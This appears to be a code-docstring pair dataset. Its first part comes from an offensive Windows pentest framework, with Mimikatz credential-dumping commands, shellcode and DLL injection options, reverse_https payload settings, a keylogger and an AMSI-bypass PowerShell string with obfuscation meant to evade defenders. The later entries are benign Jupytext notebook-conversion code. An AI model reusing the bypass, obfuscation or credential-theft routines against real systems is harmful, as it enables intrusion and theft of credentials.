INSTRUCTION
stringlengths
1
46.3k
RESPONSE
stringlengths
75
80.2k
Removes a credential ID from the database
def remove_credentials(self, credIDs): """ Removes a credential ID from the database """ for credID in credIDs: cur = self.conn.cursor() cur.execute("DELETE FROM users WHERE id=?", [credID]) cur.close()
URL URL for the download cradle
def options(self, context, module_options): ''' URL URL for the download cradle ''' if not 'URL' in module_options: context.log.error('URL option is required!') exit(1) self.url = module_options['URL']
SERVER IP of the SMB server NAME LNK file name CLEANUP Cleanup (choices: True or False)
def options(self, context, module_options): ''' SERVER IP of the SMB server NAME LNK file name CLEANUP Cleanup (choices: True or False) ''' self.cleanup = False if 'CLEANUP' in module_options: self.cleanup = bool(module_options[...
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
def options(self, context, module_options): ''' COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords') ''' self.command = 'privilege::debug sekurlsa::logonpasswords exit' if module_options and 'COMMAND' in module_options: self.command = module_o...
uniquify mimikatz tuples based on the password cred format- (credType, domain, username, password, hostname, sid) Stolen from the Empire project.
def uniquify_tuples(self, tuples): """ uniquify mimikatz tuples based on the password cred format- (credType, domain, username, password, hostname, sid) Stolen from the Empire project. """ seen = set() return [item for item in tuples if "{}{}{}{}".format(item[0],...
Parse the output from Invoke-Mimikatz to return credential sets. This was directly stolen from the Empire project as well.
def parse_mimikatz(self, data): """ Parse the output from Invoke-Mimikatz to return credential sets. This was directly stolen from the Empire project as well. """ # cred format: # credType, domain, username, password, hostname, sid creds = [] # regexe...
CONTYPE Specifies the VNC connection type, choices are: reverse, bind (default: reverse). PORT VNC Port (default: 5900) PASSWORD Specifies the connection password.
def options(self, context, module_options): ''' CONTYPE Specifies the VNC connection type, choices are: reverse, bind (default: reverse). PORT VNC Port (default: 5900) PASSWORD Specifies the connection password. ''' self.contype = 'reverse' self.port = 59...
Check if this host has already been added to the database, if not add it in.
def add_computer(self, ip, hostname, domain, os, dc=None): """ Check if this host has already been added to the database, if not add it in. """ domain = domain.split('.')[0].upper() cur = self.conn.cursor() cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip]) ...
Check if this credential has already been added to the database, if not add it in.
def add_credential(self, credtype, domain, username, password, groupid=None, pillaged_from=None): """ Check if this credential has already been added to the database, if not add it in. """ domain = domain.split('.')[0].upper() user_rowid = None cur = self.conn.cursor() ...
Check if this User ID is valid.
def is_user_valid(self, userID): """ Check if this User ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [userID]) results = cur.fetchall() cur.close() return len(results) > 0
Return hosts from the database.
def get_computers(self, filterTerm=None, domain=None): """ Return hosts from the database. """ cur = self.conn.cursor() # if we're returning a single host by ID if self.is_computer_valid(filterTerm): cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", ...
Check if this group ID is valid.
def is_group_valid(self, groupID): """ Check if this group ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM groups WHERE id=? LIMIT 1', [groupID]) results = cur.fetchall() cur.close() logging.debug('is_group_valid(groupID={}) => {}'.fo...
Return groups from the database
def get_groups(self, filterTerm=None, groupName=None, groupDomain=None): """ Return groups from the database """ if groupDomain: groupDomain = groupDomain.split('.')[0].upper() cur = self.conn.cursor() if self.is_group_valid(filterTerm): cur.exec...
Check if this credential has already been added to the database, if not add it in.
def add_credential(self, url, username, password): """ Check if this credential has already been added to the database, if not add it in. """ cur = self.conn.cursor() cur.execute("SELECT * FROM credentials WHERE LOWER(username)=LOWER(?) AND password=?", [url, username, password]...
Check if this credential ID is valid.
def is_credential_valid(self, credentialID): """ Check if this credential ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID]) results = cur.fetchall() cur.close() return len(results) > 0
Check if this credential ID is valid.
def is_host_valid(self, hostID): """ Check if this credential ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM host WHERE id=? LIMIT 1', [hostID]) results = cur.fetchall() cur.close() return len(results) > 0
Return credentials from the database.
def get_credentials(self, filterTerm=None): """ Return credentials from the database. """ cur = self.conn.cursor() # if we're returning a single credential by ID if self.is_credential_valid(filterTerm): cur.execute("SELECT * FROM credentials WHERE id=? LIMIT...
THOROUGH Searches entire filesystem for certain file extensions (default: False) ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False)
def options(self, context, module_options): ''' THOROUGH Searches entire filesystem for certain file extensions (default: False) ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False) ''' self.t...
INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True)
def options(self, context, module_options): ''' INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True) ''' self.exec_methods = ['smbexec', 'atexec'] self.inject = True ...
THREADS Max numbers of threads to execute on target (defaults to 20) COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default') CSVPATH (optional) Path where csv files will be written on target (defaults to C:\) NEO4JURI (opt...
def options(self, context, module_options): ''' THREADS Max numbers of threads to execute on target (defaults to 20) COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default') CSVPATH (optional) Path where csv files will be writ...
ACTION Enable/Disable RDP (choices: enable, disable)
def options(self, context, module_options): ''' ACTION Enable/Disable RDP (choices: enable, disable) ''' if not 'ACTION' in module_options: context.log.error('ACTION option not specified!') exit(1) if module_options['ACTION'].lower() not in ['enable...
Parse the output from Invoke-BloodHound
def parse_ouput(self, data, context, response): ''' Parse the output from Invoke-BloodHound ''' parsedData = data.split("!-!") nameList = ['user_sessions', 'group_membership.csv', 'acls.csv', 'local_admins.csv', 'trusts.csv'] for x in range(0, len(parsedData)): ...
LISTENER Listener name to generate the launcher for
def options(self, context, module_options): ''' LISTENER Listener name to generate the launcher for ''' if not 'LISTENER' in module_options: context.log.error('LISTENER option is required!') sys.exit(1) self.empire_launcher = None headers...
PATH Path to dll/exe to inject PROCID Process ID to inject into (default: current powershell process) EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
def options(self, context, module_options): ''' PATH Path to dll/exe to inject PROCID Process ID to inject into (default: current powershell process) EXEARGS Arguments to pass to the executable being reflectively loaded (default: None) ''' if not 'PATH...
USER Search for the specified username in available tokens (default: None) USERFILE File containing usernames to search for in available tokens (defult: None)
def options(self, context, module_options): ''' USER Search for the specified username in available tokens (default: None) USERFILE File containing usernames to search for in available tokens (defult: None) ''' self.user = None self.userfile = None ...
PATH Path to the file containing raw shellcode to inject PROCID Process ID to inject into (default: current powershell process)
def options(self, context, module_options): ''' PATH Path to the file containing raw shellcode to inject PROCID Process ID to inject into (default: current powershell process) ''' if not 'PATH' in module_options: context.log.error('PATH option is requir...
SCRIPT Script version to execute (choices: bash, python) (default: bash)
def options(self, context, module_options): ''' SCRIPT Script version to execute (choices: bash, python) (default: bash) ''' scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'), 'BASH' : get_script('mimipenguin/mimipenguin.sh')} self.script_choice =...
Oook.. Think my heads going to explode So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces. Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary....
def on_admin_login(self, context, connection): ''' Oook.. Think my heads going to explode So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces. Problem is Invoke-Mimikatz interpretes double qoutes ...
Abondon all hope ye who enter here. You're now probably wondering if I was drunk and/or high when writing this. Getting this to work took a toll on my sanity. So yes. a lot.
def _spider(self, subfolder, depth): ''' Abondon all hope ye who enter here. You're now probably wondering if I was drunk and/or high when writing this. Getting this to work took a toll on my sanity. So yes. a lot. ''' # The following is some funky shit that ...
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path. Note: This func...
def which(cmd, mode=os.F_OK | os.X_OK, path=None): """Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be ove...
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
def options(self, context, module_options): ''' DOMAIN Domain to enumerate DNS for. Defaults to all zones. ''' self.domains = None if module_options and 'DOMAIN' in module_options: self.domains = module_options['DOMAIN']
LHOST IP hosting the handler LPORT Handler port PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) PROCID Process ID to inject into (default: current powershell process)
def options(self, context, module_options): ''' LHOST IP hosting the handler LPORT Handler port PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) PROCID Process ID to inject into (default: current powershell process) ...
if is_powershell_installed(): temp = tempfile.NamedTemporaryFile(prefix='cme_', suffix='.ps1', dir='/tmp') temp.write(command) temp.read() encoding_types = [1,2,3,4,5,6] while True: ...
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False): amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ [Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($n...
# Array to store all selected PowerShell execution flags. powerShellFlags = [] noProfile = '-nop' nonInteractive = '-noni' windowStyle = '-w' # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order. # This is to prevent Blue Team from p...
def invoke_obfuscation(scriptString): # Add letters a-z with random case to $RandomDelimiters. alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase) # Create list of random dxelimiters called randomDelimiters. # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems ...
SERVER IP of the SMB server NAME SCF file name CLEANUP Cleanup (choices: True or False)
def options(self, context, module_options): ''' SERVER IP of the SMB server NAME SCF file name CLEANUP Cleanup (choices: True or False) ''' self.cleanup = False if 'CLEANUP' in module_options: self.cleanup = bool(module_options['CLEAN...
This gets called when a module has finshed executing, removes the host from the connection tracker list
def stop_tracking_host(self): ''' This gets called when a module has finshed executing, removes the host from the connection tracker list ''' try: self.server.hosts.remove(self.client_address[0]) if hasattr(self.server.module, 'on_shutdown'): s...
PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
def options(self, context, module_options): ''' PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync) ''' self.process = None if 'PROCESS' in module_options: self.process = module_...
TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20)
def options(self, context, module_options): ''' TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20) ''' ...
Tab-complete 'creds' commands.
def complete_hosts(self, text, line, begidx, endidx): "Tab-complete 'creds' commands." commands = ["add", "remove", "dc"] mline = line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)]
Is the current line a (possibly escaped) Jupyter magic, and should it be commented?
def is_magic(line, language, global_escape_flag=True): """Is the current line a (possibly escaped) Jupyter magic, and should it be commented?""" if language in ['octave', 'matlab']: return False if _MAGIC_FORCE_ESC_RE.get(language, _MAGIC_FORCE_ESC_RE['python']).match(line): return True ...
Escape Jupyter magics with '#
def comment_magic(source, language='python', global_escape_flag=True): """Escape Jupyter magics with '# '""" parser = StringParser(language) next_is_magic = False for pos, line in enumerate(source): if not parser.is_quoted() and (next_is_magic or is_magic(line, language, global_escape_flag)): ...
Uncomment once a commented line
def unesc(line, language): """Uncomment once a commented line""" comment = _COMMENT[language] if line.startswith(comment + ' '): return line[len(comment) + 1:] if line.startswith(comment): return line[len(comment):] return line
Escape code start with '#
def escape_code_start(source, ext, language='python'): """Escape code start with '# '""" parser = StringParser(language) for pos, line in enumerate(source): if not parser.is_quoted() and is_escaped_code_start(line, ext): source[pos] = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment', '#') +...
Unescape code start
def unescape_code_start(source, ext, language='python'): """Unescape code start""" parser = StringParser(language) for pos, line in enumerate(source): if not parser.is_quoted() and is_escaped_code_start(line, ext): unescaped = unesc(line, language) # don't remove comment char...
Return the metadata filter represented as either None (no filter), or a dictionary with at most two keys: 'additional' and 'excluded', which contain either a list of metadata names, or the string 'all
def metadata_filter_as_dict(metadata_config): """Return the metadata filter represented as either None (no filter), or a dictionary with at most two keys: 'additional' and 'excluded', which contain either a list of metadata names, or the string 'all'""" if metadata_config is None: return {} ...
Convert a filter, represented as a dictionary with 'additional' and 'excluded' entries, to a string
def metadata_filter_as_string(metadata_filter): """Convert a filter, represented as a dictionary with 'additional' and 'excluded' entries, to a string""" if not isinstance(metadata_filter, dict): return metadata_filter additional = metadata_filter.get('additional', []) if additional == 'all': ...
Update or set the notebook and cell metadata filters
def update_metadata_filters(metadata, jupyter_md, cell_metadata): """Update or set the notebook and cell metadata filters""" cell_metadata = [m for m in cell_metadata if m not in ['language', 'magic_args']] if 'cell_metadata_filter' in metadata.get('jupytext', {}): metadata_filter = metadata_filte...
Apply the filter and replace 'all' with the actual or filtered keys
def apply_metadata_filters(user_filter, default_filter, actual_keys): """Apply the filter and replace 'all' with the actual or filtered keys""" default_filter = metadata_filter_as_dict(default_filter) or {} user_filter = metadata_filter_as_dict(user_filter) or {} for key in ['additional', 'excluded']:...
Filter the cell or notebook metadata, according to the user preference
def filter_metadata(metadata, user_filter, default_filter): """Filter the cell or notebook metadata, according to the user preference""" actual_keys = set(metadata.keys()) keep_keys = apply_metadata_filters(user_filter, default_filter, actual_keys) for key in actual_keys: if key not in keep_key...
Return the default language given the notebook metadata, and a file extension
def default_language_from_metadata_and_ext(metadata, ext): """Return the default language given the notebook metadata, and a file extension""" default_from_ext = _SCRIPT_EXTENSIONS.get(ext, {}).get('language', 'python') language = (metadata.get('jupytext', {}).get('main_language') or metada...
Set main language for the given collection of cells, and use magics for cells that use other languages
def set_main_and_cell_language(metadata, cells, ext): """Set main language for the given collection of cells, and use magics for cells that use other languages""" main_language = (metadata.get('kernelspec', {}).get('language') or metadata.get('jupytext', {}).get('main_language') or ...
Return cell language and language options, if any
def cell_language(source): """Return cell language and language options, if any""" if source: line = source[0] if line.startswith('%%'): magic = line[2:] if ' ' in magic: lang, magic_args = magic.split(' ', 1) else: lang = magic...
Return commented lines
def comment_lines(lines, prefix): """Return commented lines""" if not prefix: return lines return [prefix + ' ' + line if line else prefix for line in lines]
Read a new line
def read_line(self, line): """Read a new line""" if self.ignore: return for i, char in enumerate(line): if char not in ['"', "'"]: continue # Is the char escaped? if line[i - 1:i] == '\\': continue if s...
Draw a histogram as a stepped patch. Extra kwargs are passed through to `fill_between` Parameters ---------- ax : Axes The axes to plot to edges : array A length n+1 array giving the left edges of each bin and the right edge of the last bin. values : array A l...
def filled_hist(ax, edges, values, bottoms=None, orientation='v', **kwargs): """ Draw a histogram as a stepped patch. Extra kwargs are passed through to `fill_between` Parameters ---------- ax : Axes The axes to plot to edges : array A length n+1 array givi...
ax : axes.Axes The axes to add artists too stacked_data : array or Mapping A (N, M) shaped array. The first dimension will be iterated over to compute histograms row-wise sty_cycle : Cycler or operable of dict Style to apply to each set bottoms : array, optional T...
def stack_hist(ax, stacked_data, sty_cycle, bottoms=None, hist_func=None, labels=None, plot_func=None, plot_kwargs=None): """ ax : axes.Axes The axes to add artists too stacked_data : array or Mapping A (N, M) shaped array. The first dimension will be iterated...
Use Jupytext's contents manager
def load_jupyter_server_extension(app): # pragma: no cover """Use Jupytext's contents manager""" if isinstance(app.contents_manager_class, TextFileContentsManager): app.log.info("[Jupytext Server Extension] NotebookApp.contents_manager_class is " "(a subclass of) jupytext.TextFileC...
Read a notebook from a file
def read(file_or_stream, fmt, as_version=4, **kwargs): """Read a notebook from a file""" fmt = long_form_one_format(fmt) if fmt['extension'] == '.ipynb': notebook = nbformat.read(file_or_stream, as_version, **kwargs) rearrange_jupytext_metadata(notebook.metadata) return notebook ...
Read a notebook from a string
def reads(text, fmt, as_version=4, **kwargs): """Read a notebook from a string""" fmt = copy(fmt) fmt = long_form_one_format(fmt) ext = fmt['extension'] if ext == '.ipynb': return nbformat.reads(text, as_version, **kwargs) format_name = read_format_from_metadata(text, ext) or fmt.get('...
Read a notebook from the file with given name
def readf(nb_file, fmt=None): """Read a notebook from the file with given name""" if nb_file == '-': text = sys.stdin.read() fmt = fmt or divine_format(text) return reads(text, fmt) _, ext = os.path.splitext(nb_file) fmt = copy(fmt or {}) fmt.update({'extension': ext}) w...
Write a notebook to a string
def writes(notebook, fmt, version=nbformat.NO_CONVERT, **kwargs): """Write a notebook to a string""" metadata = deepcopy(notebook.metadata) rearrange_jupytext_metadata(metadata) fmt = copy(fmt) fmt = long_form_one_format(fmt, metadata) ext = fmt['extension'] format_name = fmt.get('format_nam...
Write a notebook to a file
def write(notebook, file_or_stream, fmt, version=nbformat.NO_CONVERT, **kwargs): """Write a notebook to a file""" # Python 2 compatibility text = u'' + writes(notebook, fmt, version, **kwargs) file_or_stream.write(text) # Add final newline #165 if not text.endswith(u'\n'): file_or_stream...
Write a notebook to the file with given name
def writef(notebook, nb_file, fmt=None): """Write a notebook to the file with given name""" if nb_file == '-': write(notebook, sys.stdout, fmt) return _, ext = os.path.splitext(nb_file) fmt = copy(fmt or {}) fmt = long_form_one_format(fmt, update={'extension': ext}) create_pref...
Create directory if fmt has a prefix
def create_prefix_dir(nb_file, fmt): """Create directory if fmt has a prefix""" if 'prefix' in fmt: nb_dir = os.path.dirname(nb_file) + os.path.sep if not os.path.isdir(nb_dir): logging.log(logging.WARNING, "[jupytext] creating missing directory %s", nb_dir) os.makedirs(n...
Update format options with the values in the notebook metadata, and record those options in the notebook metadata
def update_fmt_with_notebook_options(self, metadata): """Update format options with the values in the notebook metadata, and record those options in the notebook metadata""" # format options in notebook have precedence over that in fmt for opt in _VALID_FORMAT_OPTIONS: if opt...
Read a notebook represented as text
def reads(self, s, **_): """Read a notebook represented as text""" if self.fmt.get('format_name') == 'pandoc': return md_to_notebook(s) lines = s.splitlines() cells = [] metadata, jupyter_md, header_cell, pos = header_to_metadata_and_cell(lines, ...
Return the text representation of the notebook
def writes(self, nb, metadata=None, **kwargs): """Return the text representation of the notebook""" if self.fmt.get('format_name') == 'pandoc': metadata = insert_jupytext_info_and_filter_metadata(metadata, self.ext, self.implementation) cells = [] for cell in nb.cell...
Remove prefix (and space) from line
def uncomment_line(line, prefix): """Remove prefix (and space) from line""" if not prefix: return line if line.startswith(prefix + ' '): return line[len(prefix) + 1:] if line.startswith(prefix): return line[len(prefix):] return line
Return encoding and executable lines for a notebook, if applicable
def encoding_and_executable(notebook, metadata, ext): """Return encoding and executable lines for a notebook, if applicable""" lines = [] comment = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment') jupytext_metadata = metadata.get('jupytext', {}) if ext not in ['.Rmd', '.md'] and 'executable' in jupyt...
Update the notebook metadata to include Jupytext information, and filter the notebook metadata according to the default or user filter
def insert_jupytext_info_and_filter_metadata(metadata, ext, text_format): """Update the notebook metadata to include Jupytext information, and filter the notebook metadata according to the default or user filter""" if insert_or_test_version_number(): metadata.setdefault('jupytext', {})['text_represe...
Return the text header corresponding to a notebook, and remove the first cell of the notebook if it contained the header
def metadata_and_cell_to_header(notebook, metadata, text_format, ext): """ Return the text header corresponding to a notebook, and remove the first cell of the notebook if it contained the header """ header = [] lines_to_next_cell = None if notebook.cells: cell = notebook.cells[0] ...
Return the metadata, a boolean to indicate if a jupyter section was found, the first cell of notebook if some metadata is found outside of the jupyter section, and next loc in text
def header_to_metadata_and_cell(lines, header_prefix, ext=None): """ Return the metadata, a boolean to indicate if a jupyter section was found, the first cell of notebook if some metadata is found outside of the jupyter section, and next loc in text """ header = [] jupyter = [] injupyter =...
Execute the given bash command
def system(*args, **kwargs): """Execute the given bash command""" kwargs.setdefault('stdout', subprocess.PIPE) proc = subprocess.Popen(args, **kwargs) out, _ = proc.communicate() if proc.returncode: raise SystemExit(proc.returncode) return out.decode('utf-8')
Parse Yes/No/Default string https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse
def str2bool(value): """Parse Yes/No/Default string https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse""" if value.lower() in ('yes', 'true', 't', 'y', '1'): return True if value.lower() in ('no', 'false', 'f', 'n', '0'): return False if value.lower() i...
Command line parser for jupytext
def parse_jupytext_args(args=None): """Command line parser for jupytext""" parser = argparse.ArgumentParser( description='Jupyter notebooks as markdown documents, Julia, Python or R scripts', formatter_class=argparse.RawTextHelpFormatter) # Input parser.add_argument('notebooks', ...
Entry point for the jupytext script
def jupytext_cli(args=None): """Entry point for the jupytext script""" try: jupytext(args) except (ValueError, TypeError, IOError) as err: sys.stderr.write('[jupytext] Error: ' + str(err) + '\n') exit(1)
Internal implementation of Jupytext command line
def jupytext(args=None): """Internal implementation of Jupytext command line""" args = parse_jupytext_args(args) def log(text): if not args.quiet: sys.stdout.write(text + '\n') if args.version: log(__version__) return 0 if args.pre_commit: if args.noteb...
Return the list of modified and deleted ipynb files in the git index that match the given format
def notebooks_in_git_index(fmt): """Return the list of modified and deleted ipynb files in the git index that match the given format""" git_status = system('git', 'status', '--porcelain') re_modified = re.compile(r'^[AM]+\s+(?P<name>.*)', re.MULTILINE) modified_files_in_git_index = re_modified.findall(g...
Display the paired paths for this notebook
def print_paired_paths(nb_file, fmt): """Display the paired paths for this notebook""" notebook = readf(nb_file, fmt) formats = notebook.metadata.get('jupytext', {}).get('formats') if formats: for path, _ in paired_paths(nb_file, fmt, formats): if path != nb_file: sys...
Update recursively a (nested) dictionary with the content of another. Inspired from https://stackoverflow.com/questions/3232943/update-value-of-a-nested-dictionary-of-varying-depth
def recursive_update(target, update): """ Update recursively a (nested) dictionary with the content of another. Inspired from https://stackoverflow.com/questions/3232943/update-value-of-a-nested-dictionary-of-varying-depth """ for key in update: value = update[key] if value is None: ...
Apply the desired format options to the format description fmt
def set_format_options(fmt, format_options): """Apply the desired format options to the format description fmt""" if not format_options: return for opt in format_options: try: key, value = opt.split('=') except ValueError: raise ValueError("Format options are...
Add prefix and suffix information from jupytext.formats if format and path matches
def set_prefix_and_suffix(fmt, notebook, nb_file): """Add prefix and suffix information from jupytext.formats if format and path matches""" for alt_fmt in long_form_multiple_formats(notebook.metadata.get('jupytext', {}).get('formats')): if (alt_fmt['extension'] == fmt['extension'] and fm...
Update the notebook with the inputs and outputs of the most recent paired files
def load_paired_notebook(notebook, fmt, nb_file, log): """Update the notebook with the inputs and outputs of the most recent paired files""" formats = notebook.metadata.get('jupytext', {}).get('formats') if not formats: raise ValueError("'{}' is not a paired notebook".format(nb_file)) max_mtim...
Pipe the notebook, in the desired representation, to the given command. Update the notebook with the returned content if desired.
def pipe_notebook(notebook, command, fmt='py:percent', update=True, preserve_outputs=True): """Pipe the notebook, in the desired representation, to the given command. Update the notebook with the returned content if desired.""" if command in ['black', 'flake8', 'autopep8']: command = command + ' -' ...
Remove prefix and space, or only prefix, when possible
def uncomment(lines, prefix='#'): """Remove prefix and space, or only prefix, when possible""" if not prefix: return lines prefix_and_space = prefix + ' ' length_prefix = len(prefix) length_prefix_and_space = len(prefix_and_space) return [line[length_prefix_and_space:] if line.startswith...
Is the paragraph fully commented?
def paragraph_is_fully_commented(lines, comment, main_language): """Is the paragraph fully commented?""" for i, line in enumerate(lines): if line.startswith(comment): if line.startswith((comment + ' %', comment + ' ?', comment + ' !')) and is_magic(line, main_language): retur...
Is the next unescaped line indented?
def next_code_is_indented(lines): """Is the next unescaped line indented?""" for line in lines: if _BLANK_LINE.match(line) or _PY_COMMENT.match(line): continue return _PY_INDENTED.match(line) return False
How many blank lines between end of cell marker and next cell?
def count_lines_to_next_cell(cell_end_marker, next_cell_start, total, explicit_eoc): """How many blank lines between end of cell marker and next cell?""" if cell_end_marker < total: lines_to_next_cell = next_cell_start - cell_end_marker if explicit_eoc: lines_to_next_cell -= 1 ...
Are the two last lines blank, and not the third last one?
def last_two_lines_blank(source): """Are the two last lines blank, and not the third last one?""" if len(source) < 3: return False return not _BLANK_LINE.match(source[-3]) and _BLANK_LINE.match(source[-2]) and _BLANK_LINE.match(source[-1])
Read one cell from the given lines, and return the cell, plus the position of the next cell
def read(self, lines): """Read one cell from the given lines, and return the cell, plus the position of the next cell """ # Do we have an explicit code marker on the first line? self.metadata_and_language_from_option_line(lines[0]) if self.metadata and 'language' in sel...
Parse code options on the given line. When a start of a code cell is found, self.metadata is set to a dictionary.
def metadata_and_language_from_option_line(self, line): """Parse code options on the given line. When a start of a code cell is found, self.metadata is set to a dictionary.""" if self.start_code_re.match(line): self.language, self.metadata = self.options_to_metadata(self.start_code_r...
Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start
def find_cell_content(self, lines): """Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start""" cell_end_marker, next_cell_start, self.explicit_eoc = self.find_cell_end(lines) # Metadata to dict if self.metadata is None: ...
Return position of end of cell marker, and position of first line after cell
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.in_region: self.cell_type = 'markdown' for i, line in enumerate(lines): if self.end_region_re.match(line): return...
Return position of end of cell marker, and position of first line after cell
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.metadata is None and lines[0].startswith("#'"): self.cell_type = 'markdown' for i, line in enumerate(lines): if not line.startswith("...
Return position of end of cell marker, and position of first line after cell
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.metadata is None and not (self.cell_marker_end and self.end_code_re.match(lines[0])) \ and paragraph_is_fully_commented(lines, self.comment, self.default_language): ...
Find the end of the region started with start and end markers
def find_region_end(self, lines): """Find the end of the region started with start and end markers""" if self.metadata and 'cell_type' in self.metadata: self.cell_type = self.metadata.pop('cell_type') else: self.cell_type = 'code' parser = StringParser(self.langu...
Parse code options on the given line. When a start of a code cell is found, self.metadata is set to a dictionary.
def metadata_and_language_from_option_line(self, line): """Parse code options on the given line. When a start of a code cell is found, self.metadata is set to a dictionary.""" if self.start_code_re.match(line): self.language, self.metadata = self.options_to_metadata(line[line.find('%...
Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start
def find_cell_content(self, lines): """Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start""" cell_end_marker, next_cell_start, explicit_eoc = self.find_cell_end(lines) # Metadata to dict if self.start_code_re.match(lines[0]) or se...
Return position of end of cell marker, and position of first line after cell
def find_cell_end(self, lines): """Return position of end of cell marker, and position of first line after cell""" if self.metadata and 'cell_type' in self.metadata: self.cell_type = self.metadata.pop('cell_type') else: self.cell_type = 'code' next_cell ...
Does this line starts a new markdown cell? Then, return the cell marker
def start_of_new_markdown_cell(self, line): """Does this line starts a new markdown cell? Then, return the cell marker""" for empty_markdown_cell in ['""', "''"]: if line == empty_markdown_cell: return empty_markdown_cell for triple_quote in ['"""', "'''"]: ...